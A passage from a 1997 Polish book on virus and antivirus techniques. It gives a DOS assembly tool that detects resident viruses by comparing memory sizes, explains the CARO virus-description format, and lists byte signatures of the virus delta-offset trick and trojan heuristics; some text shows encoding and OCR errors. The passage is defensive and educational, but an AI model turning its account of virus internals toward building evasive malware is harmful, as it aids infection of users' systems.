Print endp
PrintChar proc near ; procedura wyswietla znak w AL
push ax ; zachowaj zmieniany rejestr
mov ah,0Eh ; funkcja BIOS
int 10h ; wyswietl znak w AL
pop ax ; przywroc zmieniany rejestr
ret ; powrot z procedury
PrintChar endp
TeCopyRight db CR,LF,'ANTYTRAC v1.0, Autor : Adam Blaszczyk 1997'
TeCRLF db CR,LF,NUL
TeZainstalowany db CR,LF,' _ ANTYTRAC zainstalowany!',NUL
TeOdinstalowany db CR,LF,' _ ANTYTRAC odinstalowany!',NUL
ANTYTRAC ENDS ; koniec segmentu kodu i danych
END Start ; koniec programu, pierwsza instrukcja
; pod etykieta Start
12.8. Pobieranie wielkości pamięci operacyjnej
Ze względu na to, iż większość wirusów rezydentnych instaluje się w pamięci poprzez modyfikację nagłówków pamięci MCB, możliwe jest wykrycie większości takich intruzów poprzez obliczenie wielkości dostępnej pamięci na różne sposoby i następnie na porównaniu, czy uzyskane wartości zgadzają się ze sobą. Poniższy program pobiera na cztery sposoby wielkość pamięci operacyjnej poniżej 640K i następnie rozmiar ten wyświetla na ekranie.
;----------------------------------------------------------------------------;
; ;
; Czesc ksiazki : "Nowoczesne techniki wirusowe i antywirusowe" ;
; ;
; MEM640 v1.0, Autor : Adam Blaszczyk 1997 ;
; ;
; Programik pobiera i wyswietla rozmiar pamieci ponizej 640kb ;
; Wielkosc pamieci jest pobierana kilkoma metodami ;
; Przy jego uzyciu mozna wykryc w pamieci obecnosc wirusa ;
; rezydetnego (gdy odczytane dlugosci pamieci beda rozne) ;
; ;
;----------------------------------------------------------------------------;
PROG SEGMENT
ORG 100h
ASSUME CS:PROG, DS:PROG
NUL = 00h ; \
LF = 0Ah ; - stale znakow
CR = 0Dh ; /
;-----------------------------------------------------------------------------
Start:
lea si,TeCopyRight ; SI=ofset do info o programie
Call DrukLn ; wyswietl info o programie
Call Pokaz_CMOS ; ile zapisane w CMOS
call Pokaz_ZmiennaBIOS ; ile w komorce 0000:0413
call Pokaz_Int12 ; ile zwraca INT 12
Call Pokaz_MCB ; ile z sumy MCB
mov ax,4C00h ; funkcja DOS - koncz program
int 21h ; wywolaj funkcje
;-----------------------------------------------------------------------------
Pokaz_CMOS:
push ax dx si ; zachowaj zmieniane rejestry
lea si,TeCMOS ; \ wyswietl info skad czytany
Call Druk ; / rozmiar pamieci
mov al,16h ; \ wez z CMOS starsza czesc
Call WezCMOS ; / rozmiaru pamieci
mov ah,al ; i przepisz do AH
mov al,15h ; \ wez z CMOS starsza czesc
Call WezCMOS ; / rozmiaru pamieci
; AX= rozmiar w CMOS w kilobajtach
mov dx,1024 ; \ oblicz ile bajtow
mul dx ; /
Call DrukDec32 ; wyswietl ile bajtow
pop si dx ax ; przywroc zmieniane rejestry
ret ; powrot
;-----------------------------------------------------------------------------
WezCMOS:
out 70h,al ; zapisz do portu CMOS,
; ktora komorke czytac
jmp $+2 ; czekaj
in al,71h ; czytaj z CMOS
ret ; powrot
;-----------------------------------------------------------------------------
Pokaz_Int12:
push ax dx si ; zachowaj zmieniane rejestry
lea si,TeInt12 ; \ wyswietl info skad czytany
Call Druk ; / rozmiar pamieci
int 12h ; przerwanie BIOS - dostepna pamiec
; AX=rozmiar pamieci w kilobajtach
mov dx,1024 ; \ oblicz ile bajtow
mul dx ; /
call DrukDec32 ; wyswietl ile bajtow
pop dx ax si ; przywroc zmieniane rejestry
ret ; powrot
;-----------------------------------------------------------------------------
Pokaz_ZmiennaBIOS:
push es ax dx si ; zachowaj zmieniane rejestry
lea si,TeZmiennaBIOS ; \ wyswietl info skad czytany
Call Druk ; / rozmiar pamieci
xor ax,ax ; czytaj zmienna BIOS 0000:0413
mov es,ax ; ES=0000
mov ax,es:[413h] ; AX=0000:0413= rozmiar pamieci
; w kilobajtach
mov dx,1024 ; \ oblicz ile bajtow
mul dx ; /
Call DrukDec32 ; wyswietl ile bajtow
pop si dx ax es ; przywroc zmieniane rejestry
ret ; powrot
;-----------------------------------------------------------------------------
Pokaz_MCB:
push es ax bx cx dx ; zachowaj zmieniane rejestry
lea si,TeMCB ; \ wyswietl info skad czytany
Call Druk ; / rozmiar pamieci
mov ax,5802h ; funkcja DOS - czy UMB dolaczone ?
int 21h ; wywolaj funkcje
push ax ; zachowaj informacje na pozniej
mov ax,5803h ; funkcja DOS - dolacz/odlacz bloki UMB
mov bx,1 ; sprobuj dolaczyc bloki UMB
int 21h ; wywolaj funkcje
mov ax,5802h ; funkcja DOS - czy UMB dolaczone ?
int 21h ; wywolaj funkcje
xor cx,cx ; CX=0 - UMB nieobecne w systemie
or al,al ; 01=jezeli UMB sa dolaczone
jz UMB_NieDolaczone ; 00=jezeli UMB nie sa dolaczone
inc cx ; CX=1 - UMB obecne w systemie
mov ax,5803h ; funkcja DOS - dolacz/odlacz bloki UMB
xor bx,bx ; odlacz bloki UMB
int 21h ; wywolaj funkcje
UMB_NieDolaczone:
mov ah,52h ; funkcja DOS - wez adres listy list LL
int 21h ; wywolaj funkcje
mov ax,es:[bx-2] ; wez adres pierwszego bloku MCB
NastepnyMCB: ; kolejne bloki MCB
cmp ax,0A000h ; czy >640kB ?
jae Tylko640 ; TAK - pomin
mov es,ax ; ES=MCB
stc ; +1 w dodawaniu ponizej
adc ax,word ptr es:[3] ; dodaj rozmiar bloku MCB+1
; AX=nastepny blok MCB
cmp byte ptr es:[0],'Z' ; czy to ostatni blok MCB ?
jne NastepnyMCB ; NIE - dodaj koleny blok
; TAK - wyswietl sume
Tylko640:
add ax,cx ; dodaj ewentualny blok MCB
; opisujacy bloki MCB w pamieci UMB
; AX=pamiec w paragrafach
mov bx,16 ; \
mul bx ; / oblicz ile bajtow
call DrukDec32 ; wyswietl ile bajtow
pop bx ; przywroc info o UMB
mov bh,0 ; BX=BL
mov ax,5803h ; funkcja DOS - dolacz/odlacz bloki UMB
int 21h ; wywolaj funkcje
pop dx cx bx ax es ; przywroc zmieniane rejestry
ret ; powrot
;-----------------------------------------------------------------------------
DrukDec32: ; wyswietl liczbe w DX:AX
push ax bx dx si ; zachowaj zmieniane rejestry
mov si,offset Hex2DecBufor+10 ; ustaw na koniec bufora, bo zapis od konca
mov byte ptr [si],0 ; utworz ASCIIZ dodaj zero na koncu
DzielPrzez10:
mov bx,10 ; dziel DX:AX przez BX
Call Dziel32 ; w BX reszta z dzielenia
add bl,'0' ; dodaj ASCII "0"
dec si ; zmniejsz index w tablicy
mov byte ptr ds:[si],bl ; zapisz cyfre
or dx,dx ; \
jnz DzielPrzez10 ; \
or ax,ax ; \
jnz DzielPrzez10 ; --- czy liczba jest juz rowna 0
; NIE - dziel dalej
call DrukLn ; TAK - wyswietl bufor
pop si dx bx ax ; przywroc zmieniane rejestry
ret ; powrot
;-----------------------------------------------------------------------------
Dziel32: ; dziel (DX:AX)/BX
push bp ; zachowaj BP
push ax ; zachowac mniejsza czesc liczby 32 bitowej
mov ax,dx ; przenies b. znacz. czesc do mniej. znacz.
xor dx,dx ; i wyzeruj DX, DX:AX = > 0:DX
div bx ; podziel (0:DX)/BX
mov bp,ax ; calosc z dzielenia to wieksza czesc wyniku
pop ax ; przywroc do AX mniej znaczaca liczbe z poczatku
div bx ; DX jest reszta z dzielenia b. znacz. czesci przez BX
mov bx,dx ; w BX reszta z dzielenia
mov dx,bp ; DX:AX=liczba podzielona przez BX,
; a w BX reszta z dzielenia
pop bp ; przywroc zmieniany rejestr
ret ; powrot
;-----------------------------------------------------------------------------
DrukLn:
push si ; zachowaj zmieniany rejestr
call Druk ; wyswietl tekst z CS:SI
lea si,TeCRLF ; \ i przejdz do nastepnej linii
Call Druk ; /
pop si ; przywroc zmieniany rejestr
ret ; powrot
;-----------------------------------------------------------------------------
Druk:
push ax si ; zachowaj zmieniane rejestry
DrukPetla:
lods byte ptr cs:[si] ; wez kolejny znak tekstu
or al,al ; czy NUL ?
jz DrukPowrot ; TAK - koniec tekstu
mov ah,0Eh ; funkcja BIOS - wyswietl znak
int 10h ; wywolaj funkcje
jmp short DrukPetla ; pobierz kolejny znak tekstu
DrukPowrot:
pop si ax ; przywroc zmieniane rejestry
ret ; powrot
TeCopyRight db CR,LF,'MEM640 v1.0, Autor : Adam Blaszczyk 1997'
db CR,LF
db CR,LF,'Wielkosc pamieci w bajtach :',NUL
TeCMOS db ' _ CMOS : ',NUL
TeInt12 db ' _ INT 12 : ',NUL
TeZmiennaBIOS db ' _ Zmienna BIOS 0000:0412 : ',NUL
TeMCB db ' _ Suma blokow MCB (<640kB) : ',NUL
TeCRLF db CR,LF,NUL
Hex2DecBufor db 11 dup(?) ; bufor na liczbe dzisietna
PROG ENDS
END Start
ROZDZIAŁ 13
CARO (Computer Antyvirus Research Organization) jest organizacją zrzeszającą autorów programów antywirusowych z całego świata. Jednym z zadań, które stawia sobie organizacja, jest ujednolicenie nazewnictwa oraz opisu istniejących wirusów. Dla własnych potrzeb organizacja stworzyła coś w rodzaju specyfikacji opisu wirusów, zwanej CaroBase.
Plik w formacie CARO jest zwykłym plikiem tekstowym i zawiera następujące pola i etykiety:
CAROBASE_BANNER: na początku pliku; zawiera informacje o autorze opracowania itd.
CAROBASE_LINGUA: określa język, w którym napisany jest dokument; najczęściej jest to angielski (English).
CAROBASE_START: znacznik końca CAROBASE BANNER, zaraz po tym polu rozpoczyna się pierwszy rekord opisu (każdy rekord opisuje jednego wirusa).
CAROBASE_END: kończy ostatni rekord opisu.
Możliwe rekordy zawierające opis to:
NAME: nazwa w standardzie CARO.
ALIASES: lista oddzielonych kropką, innych nazw wirusa; w przypadku braku - puste pole; nazwa może zawierać znaki przestankowe; cudzysłów () oznacza propozycję nazwy.
NAME.HISTORY: oddzielone przecinkami poprzednie nazwy w konwencji CARO (jeżeli istniały).
LAST_NAME_CHANGE: data ostatniej zmiany nazwy wirusa.
TARGETS: określa obiekty atakowane przez wirusa; możliwe obiekty to:
COM - pliki COM, rozpoznawane po pierwszych 2 bajtach programu.
EXE - pliki EXE, rozpoznawane po pierwszych 2 bajtach programu (równe MZ lub ZM).
.COM - pliki COM, rozpoznawane po rozszerzeniu pliku. .EXE - pliki EXE, rozpoznawane po rozszerzeniu pliku. ZM - w przypadku, gdy wirus sprawdza pierwsze 2 bajty programu (znacznik MZ lub ZM). SYS - zaraża sterowniki w plikach SYS. OVR - zaraża pliki nakładkowe.
NE_W - potrafi infekować pliki new executable dla Windows. NE_OS2 - potrafi infekować pliki new executable dla OS/2. NewEXE - potrafi infekować pliki new executable, ale bez sprawdzania systemu, dla którego plik Jest przeznaczony. DIR - zaraża przy użyciu JAP.
MBR - infekuje Główny Rekord Ładujący twardego dysku. FBR - zaraża BOOT-sektory dyskietek. HER - zaraża BOOT-sektory twardych dysków. BAT - zaraża pliki wsadowe BAT. OBJ - zaraża pliki OBJ. LIB - zaraża pliki LIB.
COMP - wirus jest typu towarzyszącego (w nawiasie może być określone rozszerzenie plików wykorzystywanych przez wirusa, np. EXE/COM).
OTHER - wirus infekuje inny obiekt, nie opisany powyżej.
RESIDENT: określa, czy wirus zostawia po uruchomieniu jakiś ślad w pamięci;
możliwe wartości to:
NONE - to nie jest wirus rezydentny.
PAYLOAD - wirus nie jest rezydentny, ale instaluje rezydentny kod, np. bombę.
IVT - wirus rezyduje w tablicy przerwań.
FIRSTMCB - wirus rezyduje w MCB należącym do DOS-a.
BUFFER - wirus rezyduje w obszarze buforów DOS.
LOW - wirus rezyduje jak zwykły TSR.
TWIXT (przestarzałe) - wirus rezyduje za ostatnim blokiem pamięci.
TwixtAny - wirus zmniejsza rozmiar aktualnego MCB.
TwixtZ - wirus zmniejsza rozmiar aktualnego MCB, jeżeli jest to ostatni blok w łańcuchu (tzn. MCB ma znacznik Z).
NewMCB - wirus zmniejsza rozmiar aktualnego MCB i tworzy w tak powstałym bloku nowy MCB z przepisaniem znacznika z aktualnego bloku.
NewEndMCB - zmniejsza aktualny blok MCB i tworzy w tak powstałym miejscu nowy MCB ze znacznikiem Z; w aktualnym MCB zmienia znacznik bloku na M.
UPPER - wirus próbuje zaalokować pamięć powyżej 640kB (UMB).
HIGH - wirus próbuje zaalokować pamięć w obszarze od IMb do (l Mb + 64 Kb - 16).
TOP - wirus rezyduje w bloku pamięci powstałym na skutek zmniejszenia pamięci widzianej przez BIOS (zmienna 0040:0013).
UNMARKED - wirus rezyduje na końcu dostępnej pamięci, jednak miejsca tego w żaden sposób nie chroni.
VIDEO - wirus rezyduje w pamięci ekranu.
EXT - wirus rezyduje w pamięci XMS.
EXP - wirus rezyduje w pamięci EMS.
AT addr - wirus rezyduje w pamięci pod wyspecyfikowanym adresem [addr] i miejsca tego w żaden sposób nie chroni przed zapisem, np. w obszarze zmiennych DOS. OTHER - wirus instaluje się w pamięci przy pomocy innej, me opisanej powyżej techniki.
Below - wirus manipuluje blokami MCB i lokuje się w pamięci przed aktualnym blokiem MCB.
MEMORY_SIZE: określa ilość pamięci zajmowanej przez wirusa w pamięci w bajtach, kilobajtach (na końcu litera K) lub w paragrafach (litera P na końcu).
STORAGE_SIZE: rozmiar wirusa na dysku w bajtach, kilobajtach (na końcu litera K), jednostkach JAP (na końcu litera C) lub sektorach (litera S na końcu);
w przypadku wyrównywania długości pliku do jakiejś wielokrotności należy to uwzględnić w długości wirusa.
WHERE: opisuje sposób działania wirusa (może być to lista oddzielona kropkami).
Dla plików są możliwe:
OVERWRITES - wirus nadpisuje i w efekcie niszczy plik.
PREPENDING - wirus umieszcza swój kod w pliku przed oryginalnym kodem programu (przesuwa oryginalny kod do przodu).
MOVE - wirus zachowuje nadpisywany przez siebie początek pliku na jego końcu.
APPENDING (przestarzałe) - wirus dopisuje się na końcu pliku.
EOIMAGE - dopisuje się za obrazem pliku EXE (długość obrazu obliczana jest na podstawie nagłówka).
EOFILE - wirus dopisuje się na końcu pliku.
HEADER - wirus instaluje się w nagłówku pliku EXE.
SPLIT - wirus umieszcza siew pliku pomiędzy nagłówkiem pliku EXE a resztą pliku.
DATA - wirus nadpisuje obszar pliku zawierający stałe wartości (np. ciąg zer).
RANDOM - plik doczepia się w przypadkowym miejscu pliku.
SLACK - wirus korzysta z luki powstałej na końcu pliku nie wykorzystującego całej JAP. COMPANION - wirus jest typu towarzyszącego.
OTHER - wirus używa innej techniki, nie opisanej powyżej.
Dla sektorów możliwe są:
AT ttt/hh/ss - na ścieżce ttt, głowicy hh, w sektorze ss.
AT_LSN nn - w logicznym sektorze nn.
AT_CN nn - w JAP numer nn.
TRACK nn - na dodatkowej ścieżce nn.
BAD - w jednostce JAP oznaczonej jako zła.
STEALTH: określa listę przerwań i funkcji wykorzystywanych przez wirusa;
możliwe są dwa kluczowe słowa:
NONE - wirus nie używa techniki stealth.
DRIVER - wirus instaluje się jako sterownik.
POLYMORPHIC: określa, Jak polimorficzny jest wirus, przecinek oddziela słowa kluczowe, możliwe są:
NONE - wirus nie używa procedur szyfrujących.
CONST - wirus używa stałego sposobu szyfrowania, ze stałą procedurą dekodera.
VAR - wirus używa zmiennej procedury szyfrującej, ale stałego dekodera.
WILDCARD - wirus używa zmiennej procedury szyfrującej oraz zmiennego dekodera, możliwego do wykrycia przy użyciu sygnatur ze znakami globalnymi.
POLY-nn - wirus używa zmiennej procedury szyfrującej oraz zmiennego dekodera; liczba nn określa ilość stałych bajtów (w dowolnym miejscu w dekoderze); 00 - oznacza najbardziej zaawansowany polimorfizm.
ENTRY - wirus ukrywa miejsce wejścia do kodu.
SWAP - wirus przemieszcza (na zasadzie anagramu) część swojego kodu.
OTHER - wirus używa innego polimorfizmu, nie opisanego powyżej.
ARMOURING: sposoby obrony stosowane przez wirusa; możliwe to:
NONE - wirus nie stosuje żadnych metod.
CODE - wirus stosuje sztuczki antydeasemblerowe.
CRYPT - wirus stosuje kilkustopniowe szyfrowanie.
TRACE - wirus wyłącza przerwania INT l i INT 3.
KBD - wirus wyłącza klawiaturę podczas uruchamiania.
SELFTRACE - wirus używa INT 1 i INT 3 w dekoderze.
INT1 - wirus używa INT 1, INT3 - wirus używa INT 3.
PREFETCH - wirus używa sztuczek antydebuggerowych, wykorzystujących kolejkę rozkazowa do wykrycia, czy jego kod nie jest śledzony przy użyciu debuggera.
OTHER - wirus używa innej techniki, nie opisanej powyżej.
TUNNELLING: określa, czy wirus używa tunelingu.
NONE - wirus nie używa tunelingu. NEXT - wirus potrafi ominąć ostatnio zainstalowany program TSR.
HAND21 - wirus potrafi odnaleźć i wykorzystać oryginalny adres wejścia do przerwania 21h.
DRIVER - wirus używa procedur obsługi sterowników.
SECTOR - wirus używa INT 13h przy dostępie do dysku.
HAND13 - wirus potrafi odnaleźć i wykorzystać oryginalny adres wejścia do przerwania INT 13h.
BIOS - wirus używa bezpośrednich wywołań procedur ROM" BIOS do obsługi dysków.
HARDWARE - wirus używa dostępu do dysku poprzez porty.
OTHER -wirus używa innej techniki tunelingu, nie opisanej powyżej.
W przypadku HAND21, HAND13 i BIOS można wyliczyć (w nawiasach) metody wyszukiwania oryginalnego adresu; możliwe słowa kluczowe to:
TRACE - wirus używa trybu krokowego do odnalezienia oryginalnego wejścia do przerwania.
2F - wirus używa funkcji (13/2F).
TABLE - wirus używa tablicy z adresami do odnalezienia oryginalnego wejścia do przerwania.
SCAN - wirus skanuje pamięć w poszukiwaniu łańcucha bajtów charakterystycznych dla danego przerwania.
OTHER - inna metoda.
INFECTIVITY:
O - to nie jest wirus.
1 - wirus, który dość wolno się rozpowszechnia.
2 - odpowiada szybkości rozmnażania się nierezydentnego wirusa nadpisującego.
3 - odpowiada szybkości rozmnażania się wirusa nierezydentnego zarażającego jeden plik po uruchomieniu.
4 - odpowiada szybkości rozmnażania się wirusa rezydentnego zarażającego pliki tylko przy uruchomieniu ofiary.
5 - szybki infektor.
6 - odpowada szybkości romnażania się wirusów zarażających MBR.
7 - bardzo szybki infektor.
OBVIOUSNESS:
określa, jak łatwo wirus jest zauważalny przez użytkownika.
EXTREMELY - wirus zawiera groźny ładunek, łatwy do zauważenia.
QUITE - wirus zawiera ładunek dość łatwy do zauważenia.
SLIGHTLY - wirus zawiera ładunek powodujący efekt trudny do zauważenia.
NONE - wirus nie jest możliwy do zauważenia bez użycia specjalnego programu (najczęściej antywirusowego).
COMMONNESS:
rozpowszechnienie w świecie (pod względem ilości zgłoszeń infekcji).
0 - nieznany: najczęściej trywialny, nadpisujący, łatwy do wykrycia.
1 - bardzo słabo znany.
2 - słabo znany (kilka zgłoszeń).
3 - znany (przynajmniej jedno zgłoszenie od znawcy wirusów).
4 - znany na całym świecie.
5 - bardzo znany.
6 - bardzo znany w przeszłości.
COMMONNESS_DATE:
określa, kiedy powyższe pole było modyfikowane; data zapisywana jest w formacie rrrr-mm-dd.
TRANSIENT_DAMAGE: efekt działania wirusa nie jest niszczący.
T_DAMAGE TRIGGER: określa, kiedy powyższy efekt zostanie uaktywniony.
PERMANENT_DAMAGE: określa, jakie zniszczenia może spowodować wirus. P_DAMAGE_TRIGGER: określa, kiedy powyższy efekt zostanie uaktywniony. SIDE_EFFECTS: znane efekty uboczne powodowane przez wirusa. INFECTION_TRIGGER: określa, kiedy wirus infekuje (np. COM, gdy długość pliku ofiary > 100 bajtów).
MSG_DISPLAYED: określa łańcuch (podany w cudzysłowie) wyświetlany przez wirusa;
jeżeli zaszyfrowany, należy dodać na końcu słowo "Encrypted".
MSG_NOT_DISPLAYED: określa łańcuch (podany w cudzysłowie) zawarty w wirusie; jeżeli zaszyfrowany, należy dodać na końcu słowo "Encrypted".
INTERRUPTS_HOOKED: przedzielona przecinkami lista przerwań i funkcji przejętych przez wirusa; liczby podane jako HEX.
SELFREC_IN_MEMORY: określa, w jaki sposób wirus sprawdza, czy jest już zainstalowany w pamięci.
SELFREC_ON_DISK: określa, w jaki sposób wirus sprawdza, czy obiekt jest zainfekowany.
LIMITATIONS: określa ograniczenia wirusa (hardware, software).
COMMENTS: komentarz na temat wirusa.
ANALYSIS_BY: określa, kto analizował wirusa.
DOCUMENTATION_BY: opisuje, kto sporządził dokumentację.
ENTRY_DATE: określa datę, kiedy baza danych o wirusie została stworzona; data ma format: rrrr-mm-dd.
LAST_MODIFIED: określa datę, kiedy baza danych o wirusie była ostatnio modyfikowana; data ma format: rrrr-mm-dd.
SEE_ALSO: określa, do jakich wirusów opisywany wirus jest podobny.
END: oznacza koniec opisu wirusa.
ROZDZIAŁ 14
Najlepsza metoda ustrzeżenia się przed wirusami polega na sprawdzaniu nieznanych plików (programów, dokumentów) możliwie najnowszym programem antywirusowym (jeżeli to możliwe, to kilkoma różnymi). Bardzo ważnym elementem działań zapobiegawczych jest także regularne tworzenie kopii awaryjnych, zawierających najważniejsze pliki, będące zwykle efektami mozolnej pracy. Choć niektórym osobom może się to wydać niepotrzebne, prędzej czy później kopie te okażą się niezbędne, i to nie tylko ze względu na wirusy. Nie ma bowiem chyba takiego użytkownika, któremu w pewnym momencie komputer nie odmówił posłuszeństwa- Pół biedy, gdy usterka jest trywialna, gorzej, gdy zostanie uszkodzona najważniejsza chyba, poza procesorem, część komputera: dysk twardy, W takiej sytuacji kopia awaryjna jest jedyną deską ratunku. Obecność wirusa w systemie to nie straszna tragedia, zwłaszcza, że większość wirusów, wbrew powszechnej opinii, nie zawiera procedur destrukcyjnych. W przypadku zainfekowania komputera nie należy więc od razu formatować dysku twardego. Co więcej, wykonanie tej operacji wcale nie oznacza pozbycia się intruza z systemu. Poniżej zamieszczono informacje na temat specyficznych, działających tylko dla wybranych obiektów, metod.
14.1. Ochrona przed wirusami plików uruchamialnych
Oprócz sprawdzenia programem antywirusowym pliki uruchamial-ne można dodatkowo pobieżnie zanalizować przy użyciu debuggera.
Wprawny użytkownik bowiem często już po kilku, kilkunastu instrukcjach kodu programu rozpozna, czy nie zawiera on wirusa i poprzez przerwanie jego działania uniemożliwi infekcję systemu. Oczywiście powyższa metoda wydawać się może bardzo amatorska, jednak jest skuteczna, jak zresztą większość tego typu sposobów, gdyż pozwala wykryć nowe wirusy, których nie rozpoznają jeszcze programy antywirusowa. Na przykład wykrycie podanej poniżej sekwencji na początku badanego programu świadczy prawie na pewno o tym, że program ten zawiera wirusa. Jej wykonanie umożliwia bowiem uzyskanie relatywnego offsetu, pod którym umieszczony jest w pamięci kod wirusa. Wyznaczone przemieszczenie jest przez niego stosowane przy dostępie do zawartych w nim danych (za pomocą adresowania pośredniego: bazowego lub indeksowego).
; Sekwencja znajduj╣ca siÛ na pocz╣tku wiÛkszo£ci wirus¾w plikowych
CALL TRIK ; wywo│anie procedury TRIK umie£ci na stosie offset do
; nastÛpuj╣cej po niej instrukcji (POP REJ16)
TRIK:
POP REJ16 ; zdejmuje ze stosu offset, pod kt¾rym jest umieszczony
; rozkaz POP REJ16 i umieszcza go w rejestrze 16-bitowym,
; najczÛ£ciej w kt¾rym£ z : SI, DI, BP, BX
SUB REJ16,???? ; ???? najczÛ£ciej =3, po tej operacji warto£µ REJ16
; bÛdzie ofsetem wskazuj╣cym na pocz╣tek kodu wirusa,
; warto£µ 3 wynika z d│ugo£ci rozkazu CALL TRIK, czyli
; (OE8h 00h 00h)
Poniżej podano wygląd tej sekwencji dla różnych typów rejestru Rejl6.
Sekwencje dla różnych kombinacji rejestru REJ16
Rejestr 16-bitowy |
Sekwencja bajtów |
Kod po deasemblacji |
AX |
E8 00 00 58 2D 03 00 |
CALL TRIK TRIK: POP AX SUB AX,3 |
CX |
E8 00 00 59 83 E9 03 |
CALL TRIK TRIK: POP CX SUB CX,3 |
BX |
E8 00 00 5B 83 EB 03 |
CALL TRIK TRIK: POP BX SUB BX,3 |
DX |
E8 00 00 5A 83 EA 03 |
CALL TRIK TRIK: POP DX SUB DX,3 |
BP |
E8 00 00 5D 83 ED 03 |
CALL TRIK TRIK: POP BP SUB BP,3 |
SI |
E8 00 00 5E 83 EE 03 |
CALL TRIK TRIK: POP SI SUB SI,3 |
DI |
E8 00 00 5F 83 EF 03 |
CALL TRIK TRIK: POP DI SUB DI,3 |
14.2. Ochrona przed bombami logicznymi i końmi trojańskimi
Ze względu na sposób działania, nieznane szczepionkom antywirusowym konie trojańskie i bomby są trudne do wykrycia, gdyż właściwy, destrukcyjny kod może być umieszczony w dowolnym miejscu programu, tak więc znalezienie takiej sekwencji nie jest zbyt łatwe (a gdy program jest wewnętrznie skompresowany wręcz niemożliwe). Z pomocą przychodzi tu omówiona wcześniej heurystyka, technika polegająca na wykrywaniu potencjalnych agresorów na podstawie charakterystycznych sekwencji kodu. Najczęściej programy poszukujące koni trojańskich w podejrzanych plikach szukają instrukcji wywołań przerwań programowych 13h (sekwencja 0CDh, 013h) lub 26h (sekwencja 0CDh, 026h), używanych do odczytywania i zapisywania sektorów, które ze względu na swe działanie występują raczej rzadko w typowym oprogramowaniu użytkowym, gdyż normalne programy nie korzystają z bezpośrednich operacji zapisu na sektorach, a najniższy poziom, na jakim działają, to operacje na plikach.
Potencjalnymi końmi trojańskimi są najnowsze wersje typowych i często używanych programów użytkowych, np. antywirusowych i kompresujących, tak więc należy się z nimi obchodzić dość ostrożnie. Dobrym rozwiązaniem, pozwalającym uchronić się przed większością koni trojańskich i bomb, może być zainstalowanie monitora antywirusowego. Konie trojańskie są zwykle pisane przez początkujących programistów, którzy do przeprowadzania destrukcji używają funkcji bibliotecznych języków wysokiego poziomu, bądź też przerwań programowych, a te mogą być łatwo przechwytywane i kontrolowane przez monitor.
14.3. Ochrona przed makrowirusami
Ze względu na to, iż bez programu antywirusowego trudno jest wykryć wirusy w plikach DOC czy XLS, można przedsięwziąć pewne kroki, aby zminimalizować szansę zainfekowania systemu:
> wyłączyć wszystkie makra automatyczne przy pomocy własnoręcznie napisanego makra (najlepiej nazwać je AutoExec, dzięki czemu zostanie ono zawsze wywoływane podczas uruchamiania Worda):
SUB MAIN
DisableAutoMacros 1
END SUB
> aby wyłączyć przy uruchamianiu Worda makro AutoExec należy uruchamiać aplikację z parametrem /m (WINWORD.EXE /M);
> podczas wczytywania plików trzymać wciśnięty klawisz SHIFT, co spowoduje zablokowanie automatycznego makra AutoOpen;
> od czasu do czasu przeglądać listę makr zawartych w szablonie NORMAL.DOT; jeżeli zawiera ona jakieś makra automatyczne lub makra o dziwnych, niespotykanych nazwach, możliwe, iż szablon jest zainfekowany. Makra można przeglądać za pomocą
opcji wybieranych z menu Worda PLIK/SZABLONY/ORGA-NIZATOR/MAKRA, bądź też NARZĘDZIA/MAKRO (niektóre makrowirusy potrafią już oszukiwać użytkownika chcącego użyć tych funkcji);
> ze względu na to, iż wirus może nie przejmować żadnego makra automatycznego, lecz tylko podmieniać polecenia menu (najczęściej menu PLIK/ZACHOWAJ, PLIK/ZACHOWAJ JAKO), powyższe środki mogą okazać się całkowicie nieskuteczne. Jedynym rozwiązaniem jest wtedy użycie najnowszego programu antywirusowego.
ROZDZIAŁ 15
1. Leonid Bułhak, Ryszard Goczyński, Michał Tuszyński DOS 5.0 od środka Komputerowa Oficyna Wydawnicza Hełp, Warszawa 1992.
2. Stanisław Lenkiewicz Sterowniki urządzeń zewnętrznych w systemie operacyjnym MS-DOS Wydawnictwo PLJ, Warszawa 1993.
3. Eugeniusz Wróbel Asembler 8086/88, Wydawnictwa Naukowo-Technicz-ne, Warszawa 1990.
4. Marek Kotowski Pod zegarem (Asembler 8086/80286), Wydawnictwo Lu-pus, Warszawa 1992.
5. Zbigniew Mroziński Mikroprocesor 8086 {Podręczny Katalog Elektronika), Wydawnictwa Naukowo-Techniczne, Warszawa 1992.
6. Ryszard Goczyński, Michał Tuszyński Mikroprocesory 80286, 80386, i 80486 Komputerowa Oficyna Wydawnicza Hełp, Warszawa 1991-
7. Piotr Metzger Anatomia PC Helion, Gliwice 1993.
8. Krzysztof Kierzenkowski Programowanie z wykorzystaniem pamięci typu extended i expanded (Pamięci extended i expanded), Wydawnictwo Lupus, Warszawa 1994,
9. Arkadiusz Andrusz, Maciej Sokołowski Mapa pamięci IBM/PC w przykładach w pascalu i asemblerze , Wydawnictwo Lynx-Sft, Warszawa 1995.
10. Andrzej Dudek Jak pisać wirusy O.W. Read Me, Jelenia Góra 1993.
11. Microsoft Word, Podręcznik użytkownika Microsoft Corporation 1994.
12. Microsoft Excel, Opis funkcji Microsoft Corporation 1993.
13. Władysław Majewski Uwaga! Komputerowe wirusy " Wiedza i Życie", 1989,z.1.
14. Karol Szyndzielorz Projektanci komputerowych wirusów "Wiedza i Życie", 1989,
15. Marek Sell Help do programu MKS_Vir.
16. Phalcon/Skism: 40HEX (issues 1-14).
17. VLAD: VLAD (issues 1-7).
18. VBB: Viruses Bits & Bytes (issues 1-2).
19. Immortal Riot: Insane Reality (issues 4-6).
20. NuKe: NuKe IntoJournal (issues 4-3).
21. Dark Angel VirGuide (issues L-?).
22. Raif Brown Interrupt list 51,
23. (C) (P) Potemkins Hackers Group Opcodes.lst (revision 1.27), Moscow.
24. Marl A. Ludwig The Little Black Book about Computer Viruses, volume 1 -The basic tcchuology, American Eagle Publications Inc. 1991.
25. Vessolin Bontchev Future Trends in Virus-Writing Virus Test Center, Uni-versity of Hamburg, Germany 1994.
26. Vesselin Bontchev Possible Virus Attacks Against Integrity Programs and How io Prevent them. Virus Test Center, Univercity of Hamburg Germany 1992.
27. Vosselin Bontchev The Bulgarian and Soviet Virus Pactories Bulgarian Aca-demy of Sciences, Sofia, Bułgaria.
28. Vesselm Bontchev lnVircible Test from Virus Test Center University of Hamburg.
29. Inside the Mind of Dark Ąveriger Personal Computer World, July 1993.
30. Julian Bibbell Viruses are Good For You USA: WIRED Ventui-es Ltd. 1995.
31. Sara Gordon Faces Behind the Masks November, England 1994.
32. Tarkan Yetiser Połymorphic Viruses - Implementation, Detection, and Protec-tion USA, Baltimore, VDS Advanced Research Group 1993.
33. Gary M. Watson A Discussion of Polymorphism Data Plus 1992.
